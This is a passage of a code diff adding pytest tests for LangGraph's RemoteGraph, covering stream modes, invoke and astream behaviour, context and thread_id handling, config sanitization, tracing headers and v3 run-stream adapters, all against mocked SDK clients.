StreamPart(event="updates", data={"__interrupt__": ()}), + ] + + # default stream_mode is updates + stream_parts = [] + for stream_part in remote_pregel.stream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + {"chunk": "data3"}, + {"chunk": "data4"}, + {"__interrupt__": ()}, + ] + + # list stream_mode includes mode names + stream_parts = [] + for stream_part in remote_pregel.stream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode=["updates"], + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ("updates", {"chunk": "data3"}, None), + ("updates", {"chunk": "data4"}, None), + ("updates", {"__interrupt__": ()}, None), + ] + + # subgraphs + list modes + stream_parts = [] + for stream_part in remote_pregel.stream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode=["updates"], + subgraphs=True, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ((), "updates", {"chunk": "data3"}), + ((), "updates", {"chunk": "data4"}), + ((), "updates", {"__interrupt__": ()}), + ] + + # subgraphs + single mode + stream_parts = [] + for stream_part in remote_pregel.stream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + subgraphs=True, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ((), {"chunk": "data3"}), + ((), {"chunk": "data4"}), + ((), {"__interrupt__": ()}), + ] + + +@pytest.mark.anyio +async def test_astream(): + # set up test + mock_async_client = MagicMock() + async_iter = MagicMock() + async_iter.__aiter__.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + StreamPart(event="values", data={"chunk": "data2"}), + StreamPart(event="values", data={"chunk": "data3"}), + StreamPart(event="updates", data={"chunk": "data4"}), + StreamPart( + event="messages", + data=[ + { + "content": [{"text": "Hello", "type": "text", "index": 0}], + "type": "AIMessageChunk", + }, + { + "langgraph_step": 1, + "langgraph_node": "call_llm", + "langgraph_triggers": ["branch:to:call_llm"], + "langgraph_path": ["__pregel_pull", "call_llm"], + }, + ], + ), + StreamPart( + event="updates", + data={ + "__interrupt__": [ + { + "value": {"question": "Does this look good?"}, + "id": AnyStr(), + } + ] + }, + ), + ] + mock_async_client.runs.stream.return_value = async_iter + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + # test raising graph interrupt if invoked as a subgraph + with pytest.raises(GraphInterrupt) as exc: + async for stream_part in remote_pregel.astream( + {"input": "data"}, + # pretend we invoked this as a subgraph + config={ + "configurable": {"thread_id": "thread_1", "checkpoint_ns": "some_ns"} + }, + stream_mode="values", + ): + pass + + assert exc.value.args[0] == [ + Interrupt( + value={"question": "Does this look good?"}, + id=AnyStr(), + ) + ] + + # stream modes doesn't include 'updates' + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode="values", + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + {"chunk": "data1"}, + {"chunk": "data2"}, + {"chunk": "data3"}, + ] + + # stream_mode messages + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode="messages", + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ( + { + "content": [{"text": "Hello", "type": "text", "index": 0}], + "type": "AIMessageChunk", + }, + { + "langgraph_step": 1, + "langgraph_node": "call_llm", + "langgraph_triggers": ["branch:to:call_llm"], + "langgraph_path": ["__pregel_pull", "call_llm"], + }, + ), + ] + + async_iter = MagicMock() + async_iter.__aiter__.return_value = [ + StreamPart(event="updates", data={"chunk": "data3"}), + StreamPart(event="updates", data={"chunk": "data4"}), + StreamPart(event="updates", data={"__interrupt__": ()}), + ] + mock_async_client.runs.stream.return_value = async_iter + + # default stream_mode is updates + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + {"chunk": "data3"}, + {"chunk": "data4"}, + {"__interrupt__": ()}, + ] + + # list stream_mode includes mode names + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode=["updates"], + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ("updates", {"chunk": "data3"}, None), + ("updates", {"chunk": "data4"}, None), + ("updates", {"__interrupt__": ()}, None), + ] + + # subgraphs + list modes + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode=["updates"], + subgraphs=True, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ((), "updates", {"chunk": "data3"}), + ((), "updates", {"chunk": "data4"}), + ((), "updates", {"__interrupt__": ()}), + ] + + # subgraphs + single mode + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + subgraphs=True, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ((), {"chunk": "data3"}), + ((), {"chunk": "data4"}), + ((), {"__interrupt__": ()}), + ] + + async_iter = MagicMock() + async_iter.__aiter__.return_value = [ + StreamPart(event="updates|my|subgraph", data={"chunk": "data3"}), + StreamPart(event="updates|hello|subgraph", data={"chunk": "data4"}), + StreamPart(event="updates|bye|subgraph", data={"__interrupt__": ()}), + ] + mock_async_client.runs.stream.return_value = async_iter + + # subgraphs + list modes + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode=["updates"], + subgraphs=True, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + (("my", "subgraph"), "updates", {"chunk": "data3"}), + (("hello", "subgraph"), "updates", {"chunk": "data4"}), + (("bye", "subgraph"), "updates", {"__interrupt__": ()}), + ] + + # subgraphs + single mode + stream_parts = [] + async for stream_part in remote_pregel.astream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + subgraphs=True, + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + (("my", "subgraph"), {"chunk": "data3"}), + (("hello", "subgraph"), {"chunk": "data4"}), + (("bye", "subgraph"), {"__interrupt__": ()}), + ] + + +def test_invoke(): + # set up test + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + StreamPart(event="values", data={"chunk": "data2"}), + StreamPart( + event="values", data={"messages": [{"type": "human", "content": "world"}]} + ), + ] + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + result = remote_pregel.invoke( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, config + ) + + assert result == {"messages": [{"type": "human", "content": "world"}]} + + +def test_invoke_sanitizes_thread_id(): + # Ensure that invoking with thread_id passes thread_id as a top-level arg + # and removes it from the config body. + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [] + remote_pregel = RemoteGraph("test_graph_id", sync_client=mock_sync_client) + + config = {"configurable": {"thread_id": "thread_1"}} + remote_pregel.invoke( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, config + ) + + assert mock_sync_client.runs.stream.called + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs.get("thread_id") == "thread_1" + passed_config = kwargs.get("config") or {} + assert "configurable" in passed_config + assert "thread_id" not in passed_config["configurable"] + assert not passed_config["configurable"] + + +def test_stream_sanitizes_thread_id(): + # Ensure that streaming with thread_id passes thread_id as a top-level arg + # and removes it from the config body. + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [] + remote_pregel = RemoteGraph("test_graph_id", sync_client=mock_sync_client) + + config = {"configurable": {"thread_id": "thread_2"}} + list(remote_pregel.stream({"input": {"messages": []}}, config)) + + assert mock_sync_client.runs.stream.called + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs.get("thread_id") == "thread_2" + passed_config = kwargs.get("config") or {} + assert "configurable" in passed_config + assert "thread_id" not in passed_config["configurable"] + assert not passed_config["configurable"] + + +@pytest.mark.anyio +async def test_ainvoke(): + # set up test + mock_async_client = MagicMock() + async_iter = MagicMock() + async_iter.__aiter__.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + StreamPart(event="values", data={"chunk": "data2"}), + StreamPart( + event="values", data={"messages": [{"type": "human", "content": "world"}]} + ), + ] + mock_async_client.runs.stream.return_value = async_iter + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + result = await remote_pregel.ainvoke( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, config + ) + + assert result == {"messages": [{"type": "human", "content": "world"}]} + + +def test_stream_context(): + """Test that context is passed through to the SDK client in stream.""" + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + ] + + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + context = {"model_name": "anthropic", "user_id": "123"} + stream_parts = list( + remote_pregel.stream( + {"input": "data"}, + config, + context=context, + stream_mode="values", + ) + ) + + assert stream_parts == [{"chunk": "data1"}] + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs["context"] == {"model_name": "anthropic", "user_id": "123"} + + +def test_stream_context_none(): + """Test that context defaults to None when not provided.""" + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + ] + + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + list(remote_pregel.stream({"input": "data"}, config, stream_mode="values")) + + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs["context"] is None + + +@pytest.mark.anyio +async def test_astream_context(): + """Test that context is passed through to the SDK client in astream.""" + mock_async_client = MagicMock() + async_iter = MagicMock() + async_iter.__aiter__.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + ] + mock_async_client.runs.stream.return_value = async_iter + + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + context = {"model_name": "anthropic"} + chunks = [] + async for chunk in remote_pregel.astream( + {"input": "data"}, + config, + context=context, + stream_mode="values", + ): + chunks.append(chunk) + + assert chunks == [{"chunk": "data1"}] + _, kwargs = mock_async_client.runs.stream.call_args + assert kwargs["context"] == {"model_name": "anthropic"} + + +def test_invoke_context(): + """Test that context is passed through to the SDK client in invoke.""" + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"result": "done"}), + ] + + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + context = {"model_name": "openai"} + result = remote_pregel.invoke({"input": "data"}, config, context=context) + + assert result == {"result": "done"} + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs["context"] == {"model_name": "openai"} + + +@pytest.mark.anyio +async def test_ainvoke_context(): + """Test that context is passed through to the SDK client in ainvoke.""" + mock_async_client = MagicMock() + async_iter = MagicMock() + async_iter.__aiter__.return_value = [ + StreamPart(event="values", data={"result": "done"}), + ] + mock_async_client.runs.stream.return_value = async_iter + + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + context = {"user_id": "456"} + result = await remote_pregel.ainvoke({"input": "data"}, config, context=context) + + assert result == {"result": "done"} + _, kwargs = mock_async_client.runs.stream.call_args + assert kwargs["context"] == {"user_id": "456"} + + +def test_stream_context_dataclass(): + """Test that a dataclass context is passed through to the SDK client.""" + + @dataclass + class MyContext: + model_name: str + user_id: str + + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + ] + + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + ctx = MyContext(model_name="anthropic", user_id="123") + list( + remote_pregel.stream( + {"input": "data"}, config, context=ctx, stream_mode="values" + ) + ) + + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs["context"] == ctx + + +def test_stream_context_base_model(): + """Test that a BaseModel context is passed through to the SDK client.""" + + class MyContext(BaseModel): + model_name: str + user_id: str + + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + ] + + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + ctx = MyContext(model_name="anthropic", user_id="123") + list( + remote_pregel.stream( + {"input": "data"}, config, context=ctx, stream_mode="values" + ) + ) + + _, kwargs = mock_sync_client.runs.stream.call_args + assert kwargs["context"] == ctx + + +@pytest.mark.skip( + "Unskip this test to manually test the LangSmith Deployment integration" +) +@pytest.mark.anyio +async def test_langgraph_cloud_integration(): + from langgraph.checkpoint.memory import InMemorySaver + from langgraph_sdk.client import get_client, get_sync_client + + from langgraph.graph import END, START, MessagesState, StateGraph + + # create RemotePregel instance + client = get_client(url="http://localhost:8123") + sync_client = get_sync_client(url="http://localhost:8123") + remote_pregel = RemoteGraph( + "agent", + client=client, + sync_client=sync_client, + ) + + # define graph + workflow = StateGraph(MessagesState) + workflow.add_node("agent", remote_pregel) + workflow.add_edge(START, "agent") + workflow.add_edge("agent", END) + app = workflow.compile(checkpointer=InMemorySaver()) + + # test invocation + input = { + "messages": [ + { + "role": "human", + "content": "What's the weather in SF?", + } + ] + } + + # test invoke + app.invoke( + input, + config={"configurable": {"thread_id": "39a6104a-34e7-4f83-929c-d9eb163003c9"}}, + interrupt_before=["agent"], + ) + + # test stream + async for _ in app.astream( + input, + config={"configurable": {"thread_id": "2dc3e3e7-39ac-4597-aa57-4404b944e82a"}}, + subgraphs=True, + stream_mode=["debug", "messages"], + ): + pass + + # test stream events + async for chunk in remote_pregel.astream_events( + input, + config={"configurable": {"thread_id": "2dc3e3e7-39ac-4597-aa57-4404b944e82a"}}, + version="v2", + subgraphs=True, + stream_mode=[], + ): + pass + + # test get state + await remote_pregel.aget_state( + config={"configurable": {"thread_id": "2dc3e3e7-39ac-4597-aa57-4404b944e82a"}}, + subgraphs=True, + ) + + # test update state + await remote_pregel.aupdate_state( + config={"configurable": {"thread_id": "6645e002-ed50-4022-92a3-d0d186fdf812"}}, + values={ + "messages": [ + { + "role": "ai", + "content": "Hello world again!", + } + ] + }, + ) + + # test get history + async for state in remote_pregel.aget_state_history( + config={"configurable": {"thread_id": "2dc3e3e7-39ac-4597-aa57-4404b944e82a"}}, + ): + pass + + # test get graph + remote_pregel.graph_id = "fe096781-5601-53d2-b2f6-0d3403f7e9ca" # must be UUID + await remote_pregel.aget_graph(xray=True) + + +def test_sanitize_config(): + # Create a test instance + remote = RemoteGraph("test-graph") + + # Test 1: Basic config with primitives + basic_config: RunnableConfig = { + "recursion_limit": 10, + "tags": ["tag1", "tag2"], + "metadata": {"str_key": "value", "int_key": 42, "bool_key": True}, + "configurable": {"param1": "value1", "param2": 123}, + } + sanitized = remote._sanitize_config(basic_config) + assert sanitized["recursion_limit"] == 10 + assert sanitized["tags"] == ["tag1", "tag2"] + assert sanitized["metadata"] == { + "str_key": "value", + "int_key": 42, + "bool_key": True, + } + assert sanitized["configurable"] == {"param1": "value1", "param2": 123} + + # Test 2: Config with non-string tags and complex metadata + complex_config: RunnableConfig = { + "tags": ["tag1", 123, {"obj": "tag"}, "tag2"], # Only string tags should remain + "metadata": { + "nested": { + "key": "value", + "num": 42, + "invalid": lambda x: x, + }, # Last item should be removed + "list": [1, 2, "three"], + "invalid": lambda x: x, # Should be removed + "tuple": (1, 2, 3), # Should be converted to list + }, + } + sanitized = remote._sanitize_config(complex_config) + assert sanitized["tags"] == ["tag1", "tag2"] + assert sanitized["metadata"] == { + "nested": {"key": "value", "num": 42}, + "list": [1, 2, "three"], + "tuple": [1, 2, 3], + } + assert "invalid" not in sanitized["metadata"] + + # Test 3: Config with configurable fields that should be dropped + config_with_drops: RunnableConfig = { + "configurable": { + "normal_param": "value", + "checkpoint_map": {"key": "value"}, # Should be dropped + "checkpoint_id": "123", # Should be dropped + "checkpoint_ns": "ns", # Should be dropped + } + } + sanitized = remote._sanitize_config(config_with_drops) + assert sanitized["configurable"] == {"normal_param": "value"} + assert "checkpoint_map" not in sanitized["configurable"] + assert "checkpoint_id" not in sanitized["configurable"] + assert "checkpoint_ns" not in sanitized["configurable"] + + # Test 4: Empty config + empty_config: RunnableConfig = {} + sanitized = remote._sanitize_config(empty_config) + assert sanitized == {} + + # Test 5: Config with non-string keys in configurable + invalid_keys_config: RunnableConfig = { + "configurable": { + "valid": "value", + 123: "invalid", # Should be dropped + ("tuple", "key"): "invalid", # Should be dropped + } + } + sanitized = remote._sanitize_config(invalid_keys_config) + assert sanitized["configurable"] == {"valid": "value"} + + # Test 6: Deeply nested structures + nested_config: RunnableConfig = { + "metadata": { + "level1": { + "level2": { + "level3": { + "str": "value", + "list": [1, [2, [3]]], + "dict": {"a": {"b": {"c": "d"}}}, + } + } + } + } + } + sanitized = remote._sanitize_config(nested_config) + assert sanitized["metadata"]["level1"]["level2"]["level3"]["str"] == "value" + assert sanitized["metadata"]["level1"]["level2"]["level3"]["list"] == [1, [2, [3]]] + assert sanitized["metadata"]["level1"]["level2"]["level3"]["dict"] == { + "a": {"b": {"c": "d"}} + } + + +"""Test RemoteGraph against an actual server.""" + + +@pytest.fixture +def remote_graph() -> RemoteGraph: + return RemoteGraph("app", url="http://localhost:2024") + + +@pytest.fixture +def nested_remote_graph(remote_graph: RemoteGraph) -> Pregel: + class State(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + + return ( + StateGraph(State) + .add_node("nested", remote_graph) + .add_edge("__start__", "nested") + .compile(name="nested_remote_graph") + ) + + +@pytest.fixture +async def nested_graph() -> Pregel: + class State(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + + return ( + StateGraph(State) + .add_node("nested", app) + .add_edge("__start__", "nested") + .compile(name="nested_graph") + ) + + +def get_message_dict(msg: BaseMessage | dict): + # just get the core stuff from within the message + if isinstance(msg, dict): + return { + "content": msg.get("content"), + "type": msg.get("type"), + "name": msg.get("name"), + "tool_calls": msg.get("tool_calls"), + "invalid_tool_calls": msg.get("invalid_tool_calls"), + } + return { + "content": msg.content, + "type": msg.type, + "name": msg.name, + "tool_calls": getattr(msg, "tool_calls", None), + "invalid_tool_calls": getattr(msg, "invalid_tool_calls", None), + } + + +@NEEDS_CONTEXTVARS +@SKIP_PYTHON_314 +async def test_remote_graph_basic_invoke(remote_graph: RemoteGraph) -> None: + # Basic smoke test of the remote graph + response = await remote_graph.ainvoke( + {"messages": [{"role": "user", "content": "hello"}]} + ) + assert response == { + "content": "answer", + "additional_kwargs": {}, + "response_metadata": {}, + "type": "ai", + "name": None, + "id": "ai3", + "tool_calls": [], + "invalid_tool_calls": [], + "usage_metadata": None, + } + + +class monotonic_uid: + def __init__(self): + self._uid = 0 + + def __call__(self, match=None): + val = self._uid + self._uid += 1 + hexval = f"{val:032x}" + uuid_str = f"{hexval[:8]}-{hexval[8:12]}-{hexval[12:16]}-{hexval[16:20]}-{hexval[20:32]}" + return uuid_str + + +uid_pattern = re.compile( + r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}" +) + + +@NEEDS_CONTEXTVARS +@SKIP_PYTHON_314 +async def test_remote_graph_stream_messages_tuple( + nested_graph: Pregel, nested_remote_graph: Pregel +) -> None: + events = [] + namespaces = [] + uid_generator = monotonic_uid() + async for ns, messages in nested_remote_graph.astream( + {"messages": [{"role": "user", "content": "hello"}]}, + stream_mode="messages", + subgraphs=True, + ): + events.extend(messages) + namespaces.append( + tuple(uid_pattern.sub(uid_generator, ns_part) for ns_part in ns) + ) + inmem_events = [] + inmem_namespaces = [] + uid_generator = monotonic_uid() + async for ns, messages in nested_graph.astream( + {"messages": [{"role": "user", "content": "hello"}]}, + stream_mode="messages", + subgraphs=True, + ): + inmem_events.extend(messages) + inmem_namespaces.append( + tuple(uid_pattern.sub(uid_generator, ns_part) for ns_part in ns) + ) + assert len(events) == len(inmem_events) + assert len(namespaces) == len(inmem_namespaces) + + coerced_events = [get_message_dict(e) for e in events] + coerced_inmem_events = [get_message_dict(e) for e in inmem_events] + assert coerced_events == coerced_inmem_events + # TODO: Fix the namespace matching in the next api release. + # assert namespaces == inmem_namespaces + + +@pytest.mark.anyio +@pytest.mark.parametrize("distributed_tracing", [False, True]) +@pytest.mark.parametrize("stream", [False, True]) +@pytest.mark.parametrize("headers", [None, {"foo": "bar"}]) +async def test_include_headers( + distributed_tracing: bool, stream: bool, headers: dict[str, str] | None +): + mock_async_client = MagicMock() + async_iter = MagicMock() + return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + ] + async_iter.__aiter__.return_value = return_value + astream_mock = mock_async_client.runs.stream + astream_mock.return_value = async_iter + + mock_sync_client = MagicMock() + sync_iter = MagicMock() + sync_iter.__iter__.return_value = return_value + stream_mock = mock_sync_client.runs.stream + stream_mock.return_value = async_iter + + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + sync_client=mock_sync_client, + distributed_tracing=distributed_tracing, + ) + + config = {"configurable": {"thread_id": "thread_1"}} + with ls.tracing_context(enabled=True, client=MagicMock()): + with ls.trace("foo"): + if stream: + async for _ in remote_pregel.astream( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, + config, + headers=headers, + ): + pass + + else: + await remote_pregel.ainvoke( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, + config, + headers=headers, + ) + expected = headers.copy() if headers else None + if distributed_tracing: + if expected is None: + expected = {} + expected["langsmith-trace"] = AnyStr() + expected["baggage"] = AnyStr("langsmith-metadata=") + + assert astream_mock.call_args.kwargs["headers"] == expected + stream_mock.assert_not_called() + + with ls.tracing_context(enabled=True, client=MagicMock()): + with ls.trace("foo"): + if stream: + for _ in remote_pregel.stream( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, + config, + headers=headers, + ): + pass + + else: + remote_pregel.invoke( + {"input": {"messages": [{"type": "human", "content": "hello"}]}}, + config, + headers=headers, + ) + assert stream_mock.call_args.kwargs["headers"] == expected diff --git a/libs/langgraph/tests/test_remote_graph_v3.py b/libs/langgraph/tests/test_remote_graph_v3.py new file mode 100644 index 0000000..c85594c --- /dev/null +++ b/libs/langgraph/tests/test_remote_graph_v3.py @@ -0,0 +1,658 @@ +from __future__ import annotations + +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from langgraph.pregel._remote_run_stream import ( + _AsyncRemoteGraphRunStream, + _ChannelProjection, + _ProjectionRegistry, + _RemoteGraphRunStream, + _translate_command_input, +) +from langgraph.pregel.remote import ( + _V3_SUPPORTED_KWARGS, + RemoteGraph, +) +from langgraph.types import Command + + +def _make_sync_adapter(*, run_start_returns=None, run_start_raises=None): + sync_client = MagicMock() + sdk_thread = MagicMock() + sdk_thread.thread_id = "thread-abc" + sdk_thread.__enter__ = MagicMock(return_value=sdk_thread) + sdk_thread.__exit__ = MagicMock(return_value=None) + sdk_thread.run = MagicMock() + if run_start_raises is not None: + sdk_thread.run.start = MagicMock(side_effect=run_start_raises) + else: + sdk_thread.run.start = MagicMock( + return_value=run_start_returns or {"run_id": "run-xyz"} + ) + adapter = _RemoteGraphRunStream( + sync_client=sync_client, + sdk_thread=sdk_thread, + input={"x": 1}, + config={"configurable": {}}, + metadata=None, + ) + return adapter, sync_client, sdk_thread + + +def test_enter_calls_sdk_enter_then_run_start_and_captures_run_id(): + adapter, _, sdk_thread = _make_sync_adapter() + with adapter as stream: + assert stream is adapter + sdk_thread.__enter__.assert_called_once() + sdk_thread.run.start.assert_called_once_with( + input={"x": 1}, config={"configurable": {}}, metadata=None + ) + assert adapter._run_id == "run-xyz" + + +def test_exit_delegates_to_sdk_exit_with_exc_info(): + adapter, _, sdk_thread = _make_sync_adapter() + with adapter: + pass + sdk_thread.__exit__.assert_called_once_with(None, None, None) + + +def test_enter_unwinds_sdk_cm_when_run_start_raises(): + adapter, _, sdk_thread = _make_sync_adapter( + run_start_raises=RuntimeError("start boom") + ) + with pytest.raises(RuntimeError, match="start boom"): + with adapter: + pytest.fail("body should not run") + sdk_thread.__enter__.assert_called_once() + sdk_thread.__exit__.assert_called_once() + exc_info = sdk_thread.__exit__.call_args.args + assert exc_info[0] is RuntimeError + assert isinstance(exc_info[1], RuntimeError) + assert adapter._run_id is None + + +def test_output_interrupted_interrupts_passthrough(): + adapter, _, sdk_thread = _make_sync_adapter() + sdk_thread.output = {"foo": 1} + sdk_thread.interrupted = True + sdk_thread.interrupts = [{"interrupt_id": "i1", "namespace": [], "value": "v"}] + with adapter as stream: + assert stream.output == {"foo": 1} + assert stream.interrupted is True + assert stream.interrupts == [ + {"interrupt_id": "i1", "namespace": [], "value": "v"} + ] + + +def test_sync_projection_attrs_forward_to_sdk(): + adapter, _, sdk_thread = _make_sync_adapter() + sdk_thread.values = object() + sdk_thread.messages = object() + sdk_thread.tool_calls = object() + sdk_thread.subgraphs = object() + with adapter as stream: + assert stream.values is sdk_thread.values + assert stream.messages is sdk_thread.messages + assert stream.tool_calls is sdk_thread.tool_calls + assert stream.subgraphs is sdk_thread.subgraphs + assert set(stream.extensions) == set(_ProjectionRegistry._NATIVE) + assert stream.extensions["values"] is sdk_thread.values + + +def test_projection_registry_typed_decoded_and_custom(): + sdk = MagicMock() + sdk.values = object() + sdk.messages = object() + sdk.tool_calls = object() + sdk.subgraphs = object() + custom_named = object() + sdk.extensions = {"my_custom": custom_named} + registry = _ProjectionRegistry(sdk) + + # Typed channels resolve to the SDK's decoded projections. + assert registry["values"] is sdk.values + assert registry["tool_calls"] is sdk.tool_calls + assert registry["subgraphs"] is sdk.subgraphs + # Channels without a typed projection resolve to a decoding _ChannelProjection. + ckpt = registry["checkpoints"] + assert isinstance(ckpt, _ChannelProjection) + assert ckpt._channel == "checkpoints" + assert isinstance(registry["updates"], _ChannelProjection) + # A non-protocol name is a specific custom-extension channel. + assert registry["my_custom"] is custom_named + # Enumerable set is the typed + decoded channels (no `lifecycle`, no `debug`). + assert list(registry) == [ + "values", + "messages", + "tool_calls", + "subgraphs", + "updates", + "checkpoints", + "tasks", + "custom", + ] + assert len(registry) == 8 + + +def test_channel_projection_decodes_params_data(): + sdk = MagicMock() + # Real wire events carry `method`; the SDK `DataDecoder` yields matching + # events' `params.data` and skips dataless and off-channel ones. + sdk.subscribe = MagicMock( + return_value=iter( + [ + {"method": "checkpoints", "params": {"data": {"n": 1}}}, + {"method": "checkpoints", "params": {}}, # no data -> skipped + {"method": "checkpoints", "params": {"data": {"n": 2}}}, + {"method": "lifecycle", "params": {"data": {"n": 3}}}, # other channel + ] + ) + ) + proj = _ChannelProjection(sdk, "checkpoints") + assert list(proj) == [{"n": 1}, {"n": 2}] + sdk.subscribe.assert_called_once_with(["checkpoints"]) + + +@pytest.mark.anyio +async def test_channel_projection_decodes_params_data_async(): + """Async lane mirrors the sync lane: `async for` over the SDK's async + subscription, decoded through the same `DataDecoder`.""" + + class _FakeAsyncEvents: + def __init__(self, items): + self._items = list(items) + + def __aiter__(self): + return self + + async def __anext__(self): + if not self._items: + raise StopAsyncIteration + return self._items.pop(0) + + sdk = MagicMock() + sdk.subscribe = MagicMock( + return_value=_FakeAsyncEvents( + [ + {"method": "checkpoints", "params": {"data": {"n": 1}}}, + {"method": "checkpoints", "params": {}}, # no data -> skipped + {"method": "checkpoints", "params": {"data": {"n": 2}}}, + {"method": "lifecycle", "params": {"data": {"n": 3}}}, # other channel + ] + ) + ) + proj = _ChannelProjection(sdk, "checkpoints") + assert [item async for item in proj] == [{"n": 1}, {"n": 2}] + sdk.subscribe.assert_called_once_with(["checkpoints"]) + + +def test_sync_adapter_translates_command_input(): + sync_client = MagicMock() + sdk_thread = MagicMock() + adapter = _RemoteGraphRunStream( + sync_client=sync_client, + sdk_thread=sdk_thread, + input=Command(resume="go"), + config=None, + metadata=None, + ) + assert adapter._start_kwargs["input"] == "go" + + +def test_iter_caches_first_subscription(): + adapter, _, sdk_thread = _make_sync_adapter() + fake_events = [object(), object(), object()] + sdk_thread.events = iter(fake_events) + with adapter as stream: + first = iter(stream) + second = iter(stream) + assert first is second + assert list(first) == fake_events + + +def test_abort_cancels_run_and_closes_sdk(): + adapter, sync_client, sdk_thread = _make_sync_adapter() + with adapter as stream: + stream.abort() + sync_client.runs.cancel.assert_called_once_with( + "thread-abc", "run-xyz", wait=False + ) + sdk_thread.close.assert_called_once() + + +def test_abort_before_enter_skips_cancel_but_closes_sdk(): + adapter, sync_client, sdk_thread = _make_sync_adapter() + adapter.abort() + sync_client.runs.cancel.assert_not_called() + sdk_thread.close.assert_called_once() + + +def test_abort_is_idempotent(): + adapter, sync_client, sdk_thread = _make_sync_adapter() + with adapter as stream: + stream.abort() + stream.abort() + assert sync_client.runs.cancel.call_count == 1 + assert sdk_thread.close.call_count == 1 + + +def test_abort_swallows_cancel_failure_and_still_closes(): + adapter, sync_client, sdk_thread = _make_sync_adapter() + sync_client.runs.cancel.side_effect = RuntimeError("cancel boom") + with adapter as stream: + stream.abort() + sdk_thread.close.assert_called_once() + + +def test_sync_interleave_delegates_to_interleave_projections(): + adapter, _, sdk_thread = _make_sync_adapter() + pairs = [("values", {"x": 1}), ("messages", object())] + sdk_thread.interleave_projections.return_value = pairs + with adapter as stream: + result = list(stream.interleave("values", "messages")) + 